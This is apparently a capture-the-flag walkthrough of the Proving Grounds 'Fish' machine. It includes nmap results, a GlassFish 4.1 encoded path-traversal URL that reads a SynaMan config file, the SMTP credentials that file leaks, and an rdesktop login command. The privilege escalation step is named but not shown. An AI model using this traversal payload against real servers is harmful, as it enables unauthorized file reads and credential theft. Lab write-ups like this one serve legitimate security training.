PG: Fish | Walkthrough

TL;DR

Credential Disclosure through LFI
Previlege Escalation through vulnerable installation of TotalAV

Enumeration

Nmap

PORT     STATE SERVICE              VERSION
3389/tcp open  ms-wbt-server        Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: FISHYYY
|   NetBIOS_Domain_Name: FISHYYY
|   NetBIOS_Computer_Name: FISHYYY
|   DNS_Domain_Name: Fishyyy
|   DNS_Computer_Name: Fishyyy
|   Product_Version: 10.0.19041
|_  System_Time: 2021-10-29T14:19:40+00:00
|_ssl-date: 2021-10-29T14:19:58+00:00; -27d15h33m01s from scanner time.
| ssl-cert: Subject: commonName=Fishyyy
| Not valid before: 2021-10-27T11:48:08
|_Not valid after:  2022-04-28T11:48:08
3700/tcp open  giop                 CORBA naming service
3820/tcp open  ssl/giop             CORBA naming service
| ssl-cert: Subject: commonName=localhost/organizationName=Oracle Corporation/stateOrProvinceName=California/countryName=US
| Not valid before: 2014-08-21T13:30:10
|_Not valid after:  2024-08-18T13:30:10
|_ssl-date: TLS randomness does not represent time
3920/tcp open  ssl/exasoftport1?
| ssl-cert: Subject: commonName=localhost/organizationName=Oracle Corporation/stateOrProvinceName=California/countryName=US
| Not valid before: 2014-08-21T13:30:10
|_Not valid after:  2024-08-18T13:30:10
|_ssl-date: TLS randomness does not represent time
4848/tcp open  http                 Sun GlassFish Open Source Edition  4.1
|_http-title: Login
6060/tcp open  http                 Synametrics Web Server 7 (Syncrify)
|_http-server-header: Synametrics Web Server v7
|_http-title: Site doesn't have a title (text/html).
7676/tcp open  java-message-service Java Message Service 301
8080/tcp open  http                 Sun GlassFish Open Source Edition  4.1
|_http-title: Data Web
| http-methods:
|_  Potentially risky methods: PUT DELETE TRACE
8181/tcp open  ssl/http             Sun GlassFish Open Source Edition  4.1
|_ssl-date: TLS randomness does not represent time
| http-methods:
|_  Potentially risky methods: PUT DELETE TRACE
| ssl-cert: Subject: commonName=localhost/organizationName=Oracle Corporation/stateOrProvinceName=California/countryName=US
| Not valid before: 2014-08-21T13:30:10
|_Not valid after:  2024-08-18T13:30:10
|_http-title: Data Web
8686/tcp  open  java-rmi Java RMI
| rmi-dumpregistry:
|   Fishyyy/7676/jmxrmi
|     javax.management.remote.rmi.RMIServerImpl_Stub
|     @169.254.10.3:49712
|     extends
|       java.rmi.server.RemoteStub
|       extends
|         java.rmi.server.RemoteObject
|   jmxrmi
|     javax.management.remote.rmi.RMIServerImpl_Stub
|     @169.254.10.3:8686
|     extends
|       java.rmi.server.RemoteStub
|       extends
|_        java.rmi.server.RemoteObject
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -27d15h33m01s, deviation: 0s, median: -27d15h33m01s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 87.37 seconds

Port 6060: SynaMan - v4.0: Credential Disclosure | exploit-db

Port 4848: GlassFish Server 4.1: LFI | exploit-db

Exploitation

Initial Access

Credential Disclosure through LFI

1
http://192.168.193.168:4848//theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afsynaman/config/AppConfig.xml
2

3
<Configuration>
4
<parameters>
5
<parameter name="adminEmail" type="1" value="admin@fish.pg"/>
6
<parameter name="smtpSecurity" type="1" value="None"/>
7
<parameter name="jvmPath" type="1" value="jre/bin/java"/>
8
<parameter name="userHomeRoot" type="1" value="C:\ProgramData\SynaManHome"/>
9
<parameter name="httpPortSSL" type="2" value="-1"/>
10
<parameter name="vmParams" type="1" value="-Xmx128m -DLoggingConfigFile=logconfig.xml"/>
11
<parameter name="httpPort" type="2" value="0"/>
12
<parameter name="synametricsUrl" type="1" value="http://synametrics.com/SynametricsWebApp/"/>
13
<parameter name="lastSelectedTab" type="1" value="1"/>
14
<parameter name="emailServerWebServicePort" type="2" value=""/>
15
<parameter name="imagePath" type="1" value="images/"/>
16
<parameter name="publicIPForUrl" type="1" value=""/>
17
<parameter name="defaultOperation" type="1" value="frontPage"/>
18
<parameter name="httpPort2" type="2" value="6060"/>
19
<parameter name="useUPnP" type="4" value="true"/>
20
<parameter name="smtpServer" type="1" value="mail.fish.pg"/>
21
<parameter name="smtpUser" type="1" value="arthur"/>
22
<parameter name="InitialSetupComplete" type="4" value="true"/>
23
<parameter name="failureOverHttpPort" type="2" value="55222"/>
24
<parameter name="disableCsrfPrevention" type="4" value="true"/>
25
<parameter name="httpIP" type="1" value=""/>
26
<parameter name="smtpPort" type="2" value="25"/>
27
<parameter name="emailServerWebServiceHost" type="1" value=""/>
28
<parameter name="smtpPassword" type="1" value="KingOfAtlantis"/>
29
<parameter name="ntServiceCommand" type="1" value="net start SynaMan"/>
30
<parameter name="mimicHtmlFiles" type="4" value="false"/>
31
</parameters>
32
</Configuration>

RDP into the target machine using the credential arthur:KingOfAtlantis

$ rdesktop -u arthur -p "KingOfAtlantis" $ip -g 90%

Privilege Escalation

TotalAV Privilege Escalation